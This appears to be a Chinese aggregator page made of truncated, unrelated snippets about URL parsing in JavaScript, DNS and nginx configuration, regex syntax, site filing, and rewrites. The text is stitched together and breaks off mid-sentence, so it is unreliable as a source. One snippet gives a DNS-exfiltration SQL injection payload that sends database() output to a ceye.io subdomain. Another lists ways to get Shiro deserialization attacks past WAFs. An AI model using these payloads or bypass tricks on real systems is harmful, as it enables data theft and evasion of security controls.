如何截取 url 中网站域名之后的部分,需要用到以下几个方法: lastIndexOf() lastIndexOf() 方法返回调用 String 对象的指定值最后一次出现的索引,在一个字符串中的指定位置...通过这两个方法,就可以获取到 url 域名之后的部分了。 首先获取 url : var url = window.location.href 截取指定字符串后面的内容:如获取 ?...后面的内容 var index = url.lastIndexOf('?')...# q=Vue 未经允许不得转载:w3h5 » JavaScript获取url网址中域名后面的部分
// 获取域名 1、方法一 var domain = document.domain; //2、方法二 var domain = window.location.host;...// 3、注意问题 //由于获取到的当前域名不包括 http://, //所以把获取到的域名赋给 a 标签的 href 时,别忘了加上 http://,否则单击链接时导航会出错。...// 获取url var url = window.location.href; // 获取url后面的参数 var url = window.location.href//获取
使用emlog程序可能会遇到一些空间无法评论或域名/index.php打不开的情况,域名后面加index.php打不开虫子暂时还没有找到解决办法,不过不会影响博客的正常使用,判断能不能评论,直接在域名后面加上
接着测试反解析:dig @127.0.0.1 -x 127.0.0.1 都正常了,那么我呢就加个域名来试试。。。...vim /etc/named.conf 后面增加 12345678 zone "abc.com" IN { type master; file "abc.com.zone"; };...配置DNS转发就可以解析其他互联网上的域名了,前提是这个域名在互联网中的确在使用,也就是说这个域名已经被某个DNS服务器解析了。...etc/named.conf //在options{} 里面增加 forward first; forwarders { 8.8.8.8; }; 这两行就是用来配置转发的,该DNS服务器不能解析的域名会转发到...: 123 IN A 1.1.1.1 另外需要修改一下第三行的那个数字串,这个是用来做标记的,只有这个数字变化了,才可以让从自动跟着变,数字只能是变大,不能减小
返回给客户端的字节数 源网页(百度->百度贴吧) 'status body_bytes_sent " 客户端浏览器信息 客户端IP地址(和$remote_addr差不多) '" 日志路径 off代表不存储日志,后面跟着日志的位置...,静态资源如何跳转等location后面跟着的/代表匹配规则 location / { 站点根目录,可以是相对路径,也可以是绝对路径 root html; 默认主页 index index.html;...所以如果请求 A 域名,服务器 proxy_pass 到 B 域名,然后 B 服务器输出 Domian=B 的 Cookie, 前端的页面依然停留在 A 域名上,于是浏览器就无法将 Cookie 写入。...{ listen 80; server_name bbb.abc.com; charset utf-8; location / { proxy_pass http...://localhost:10001; } } server { listen 80; server_name aaa.abc.com; charset utf-
和 {} abc* 匹配在“ab”后面跟着零个或多个“c”的字符串 -> Try it!...(https://regex101.com/r/cO8lqs/1) abc+ 匹配在“ab”后面跟着一个或多个“c”的字符串 abc?...匹配在“ab”后面跟着零个或一个“c”的字符串 abc{2} 匹配在“ab”后面跟着两个“c”的字符串 abc{2,} 匹配在“ab”后面跟着两个或更多“c”的字符串 abc{2,5}...匹配在“ab”后面跟着2到5个“c”的字符串 a(bc)* 匹配在“a”后面跟着零个或更多“bc”序列的字符串 a(bc){2,5} 匹配在“a”后面跟着2到5个“bc”序列的字符串...或运算符:| 、 [] a(b|c) 匹配在“a”后面跟着“b”或“c”的字符串 -> Try it!
着就是个管辖权划分用的.ICP备案是2005年起执行的,第一开始备案是自主后来随着几次变革至今,着东西实际上的意义好像转变了.类似于电话卡的实名登记,如果你的网站出问题了,找你的还是当地公安...备案号首两位是年份,后面就是递增...跟着备案提示走就行.重点:1.先看看你的域名能否支持备案,像.GS已经不支持备案了.https://domain.miit.gov.cn/在网站名称,备案时需要一个网站名称.三个字中文.而且新规是,备案名称和你的网站名称需要一致注意...: 备案名称叫 ABC 网站名称叫 DDD,这样是不行的.但!...://cloud.tencent.com/document/product/243/11740图片备案很容易,单选择一款物美价廉的备案主机并不容易.推荐选择轻云,新用户首单优惠100多一年.能备案5个域名见...yun.qq.com 首页活动不推荐,云函数(SCF)资源包 40元/年 绑定2个域名.用起来还比较复杂不适合新手https://buy.cloud.tencent.com/scf最后等备案下来了,还得去网安在做次备案
域名DNS指向的是我们服务器的域名,意味着解析域名时需向DNS服务器查询。通过递归查询可以获取数据库上的信息。要记住整个域名内的节点标签被限制在63个字符长度大小。 使用条件: 1....这是一个域名: 分析一下: Ceye.io 就不用说了, 前面的 xxxx.ceye.io是你的个人域名 Dns注入最后的效果呢就是在xxxx.ceye.io前面显示你注入的结果。...再说一个小知识点,\\xxxxx.xxxxxx 如果说我们在下图位置写这个东西呢,就会执行这个后面的域名吧! ?...'\\\\',(select database()),'.eq6w9l.ceye.io\\abc' 首先前面的\\\\实际上是两个\其中两个是作为转义符号来的,然后(select database())...是真正的执行语句,然后后面拼接上你的域名,最后面加的\\abc,实例发现,后面不加\\abc或者\\其他字符是无法进行dns注入的,必须加上\\abc或者\\aaa等等都可以,但是记住一定要加。
,才起作用' [configuraion C ] } location ~ /documents/abc { '//匹配任何以/documents/abc开头的地址,当后面的正则表达式没有匹配到时...{ '//最长字符匹配到 /images/abc,优先级最低' [configuraion G ] } location ~ /images/abc { '//以/ Images/abc开头的...[configuraion I ] } 二、实验 1、基于域名的跳转 需求 现在公司旧域名www.shang.com有业务需求有变更,需要使用新域名www.shangzhen.com代替,但是旧域名不能废除...,需要跳转到新域名上,而且后面的参数保持不变 (1)环境准备 ?...3、基于旧,新域名跳转并加目录 (1)需求: 基于旧域名跳转到新域名后面加目录,例如现在访问的是htp://bbs.old.com/post,现在需要将这个域名下面的发帖都跳转到http://www.new.com
写在一行的最前面 * 表示以a开头,后面跟着1个或者多个字符 */ System.out.println("abc".matches("^a.*"))...前面有三个任意字符, 后面紧跟着一个2. 并且2不被捕获 * 而我们的字符串:有没有三个任意字符后面紧跟着一个2呢? 没有. 只有两个任意字符后跟着一个2....放在表达式的前面表示: 表达式不是以这个字符开头, 放在表达式的后面表示, 表达式后面跟着的不是这个字符....不是, 符合条件 * 所以结果: abc dd4 那么把(?!2) 放在后面呢? 表示的是, 后面跟着的字符不是2 /** * .{3}(?!...(m6.group()); } 运行结果: bc2 dd4 * 分析: 首先取3个字符abc, 后面跟着的是2么?
目前Shiro反序列化漏洞的数量大大减少,但是从ABC_123总结最近2年的攻防比赛的战果来看,目前Shiro反序列化漏洞在一些大型公司的子域名的深层次目录、边缘子站、全资子公司仍然会被发现,在一些地级市攻防比赛中仍然会出现很多...Shiro数据包添加脏数据 这种方法在网上很少被提起,“rememberMe=”后面的数据包添加一些特殊字符仍然是可以正常发包的,原因是shiro组件在处理点号、反引号等特殊字符,会替换为空。...Shiro字段添加空白字符 前面我们提到了,“rememberMe=”后面可以掺杂特殊字符,那么“rememberMe”关键词附近可否动动手脚呢?...Host头域名变IP地址 很多甲方公司购买了waf或者一些云waf,但是可能目标网站只对“*.xxx.com”域名进行了waf防护,这时候将host头的域名替换为域名解析出来的ip,就可以绕过waf了。...文中提到的添加点号等特殊字符绕过waf的思路,对于Struts2框架同样适用,这是之前ABC_123调试Struts2框架时偶然发现的,后面会写文章给大家分享。 2.
)输出才是true; \\:匹配一个“\”,也就是转移字符 这会报错,两个\\就是一个\ \t:匹配“\t”转义字符 \n:匹配换行的转义字符 2.字符范围(如果不加入量词,表示单个字符) 如: [abc...(也可以写其他) [^abc]:取反[abc]的(反义词),表示不是字母中含有a、b、c其中任一位字母 [a-zA-Z]:表示任一位字母(大写或小写)组成,如果[a-z],这样就不能是大写 [^a-zA-Z...表示此正则表达式可以出现0次、1次或多次; 表达式{n} :表示此正则表达式可以出现n次,包含n次 表达式{n,m} :表示此正则表达式可以出现n到m次 6.逻辑运算 如: X正则Y正则:表示X正则之后紧跟着验证...,这个支持这种语法也没错,但是这种写法不合理(数学没有这种写法,最少后面跟着小数位),按照上面的代码,“10.”这样的格式不会报错,还是true,所以我们不能这么写; 小数点和2是什么关系,有小数点才会有小数位...简单验证,email由字母、数字、_组成,例如:a@a.c 我们先分析: 所以代码如下: 2.完整验证:在email的用户名可以由字母、数字、_、-、.组成和长度最大数量6-30位,其中要求以字母开头,域名后缀只能是
Pattern p = Pattern.compile{"[a-z]{3}"}; Matcher m=p.macther("abc"); boolean x=m.matches(); 先将匹配规则初始化...如果说将这三行代码合并起来写,应该是:"abc".matches("[a-z]{3}");这里的大括号里写的是出现的次数。...这个匹配规则为字符串前面为1-3个数字,后面跟一个点,在后面又是1-3个数字,然后又是点,又是1-3个数字,然后一个点,又再是1-3个数字。...x.matches("^h.*");规则为开头的第一个字符为h,后面跟着一个字符,再后面跟着0个或多个字符 x.matches(".....*")表示以h开头,中间是以a-z出现1-3次后面跟着一个o,再后面为单词边界(单词边界为空格,各种各样特殊字符,换行等等)。
proyx_pass配置项解读基本使用浏览器访问localhost就会跳转到 http://www.atguigu.com,同时域名没有变化(不支持https)可以有多个server。.../abc/def/ghi等 而有“/”结尾时,location /abc/def/ 不能匹配 /abc/defghi 请求,只能匹配 /abc/def/anything 这样的proxy_pass配置规则...配置 proxy_pass 时 当在后面的 url 加上了 /,相当于是绝对路径,则 Nginx 不会把 location 中匹配的路径部分加入代理 uri。...如果配置 proxy_pass 时,且仅为 IP或域名+端口,后面没有 /,Nginx 则会把匹配的路径部分加入代理 uri。...如果配置 proxy_pass 时,为 IP或域名+端口+路径,即使后面没有 /,Nginx 也不会把匹配的路径部分加入代理 uri。
$ 表示开头结尾都是 abc 的字符串 只有 abc 这一种情况 me 表示任何包含 me 的字符串 meme,It's me,等 "*,+,?"...表示,字符出现次数,没有 或 一次 下面是几个例子: Regex代码 说明 匹配字符串 ab* 表示一个字符串有一个a后面跟着0个或若干个b a,ab,abb 等 ab+ 表示一个字符串有一个a后面跟着至少一个...表示一个字符串有一个a后面跟着0个或者一个b a,aaa,ab``abs 等 a?...a跟着2个b abb,sabbbbbb,sabbsegf 等 ab{2,} 表示一个字符串有一个a后面跟着至少2个b或者更多 abb,abbbbb 等 ab{3,5} 表示一个字符串有一个a跟着3到5个...Regex代码 说明 匹配字符串 a.[0-9] 表示一个字符串有一个 a 后面跟着一个任意字符和一个数字 ax9,a*0 等 ^.{3}$ 表示有任意三个字符的字符串(长度为3个字符) 123,abc
搭建DNS解析服务器,不是属于DNS服务器:比如114.114.114.114啥的,而是能够帮你解析域名的服务器。...file "named.ca"; }; include "/etc/named.rfc1912.zones"; include "/etc/named.root.key"; 3.自定义域名解析配置...nano /etc/named.rfc1912.zones #在最后面添加如下,比如我要解析 abc.co 以及所有子域名 zone "abc.com" IN { // 定义要解析主域名...named.service 新增域名解析 如果我们需要在追加一个域名的解析,比如abc.cc,则: nano /etc/named.rfc1912.zones // 添加下面这段 zone "abc.cc..." IN { type master; file "abc.com"; }; cp -a abc.com abc.cc nano abc.com //换成如下,由于我们ns1
LNMP下的Nginx如果想将域名vipiu.net 301重定向到www.vipiu.net, 同时www.vipiu.net已经通过/root/vhost.sh添加上, 可以按如下步骤修改 使用命令编辑器...vi、nano或winscp图形管理软件编辑对应的虚拟主机, 一般虚拟主机配置文件位于:/usr/local/nginx/conf/vhost/域名.conf , 如添加的域名是www.vipiu.net...则配置文件是/usr/local/nginx/conf/vhost/www.vipiu.net.conf 在配置文件最后面加上如下代码: server { ........ ...server_name www.abc.com ;//只留一个 ...... } 文件的底部添加如下代码块(独立于上面的代码外): server { server_name abc.com...; rewrite ^(.*)$ http://www.abc.com$1 permanent; } 添加完成后保存,执行:/etc/init.d/nginx restart 重启nginx,使其生效
.)$ 理解为: 非域名以外剩下的部分, / 斜杠表示域名后面的斜杠,(.)就是 / 斜杠后的所有, $表示结束语句 凡是以 ^/(.)$ 域名的 都会跳转到 http://111.com/(.)...更改前 DocumentRoot "/data/wwwroot/abc.com" ServerName abc.com ServerAlias...www.abc.com www.123.com ErrorLog "logs/abc.com-error_log" CustomLog "logs/abc.com-access_log..." ServerName abc.com ServerAlias www.abc.com www.123.com ErrorLog "logs/abc.com-error_log... [root@hf-01 ~]# 在域名后面随便添加字符,最后还是跳转到111.com [root@hf-01 ~]# curl -x192.168.74.150
领取专属 10元无门槛券
手把手带您无忧上云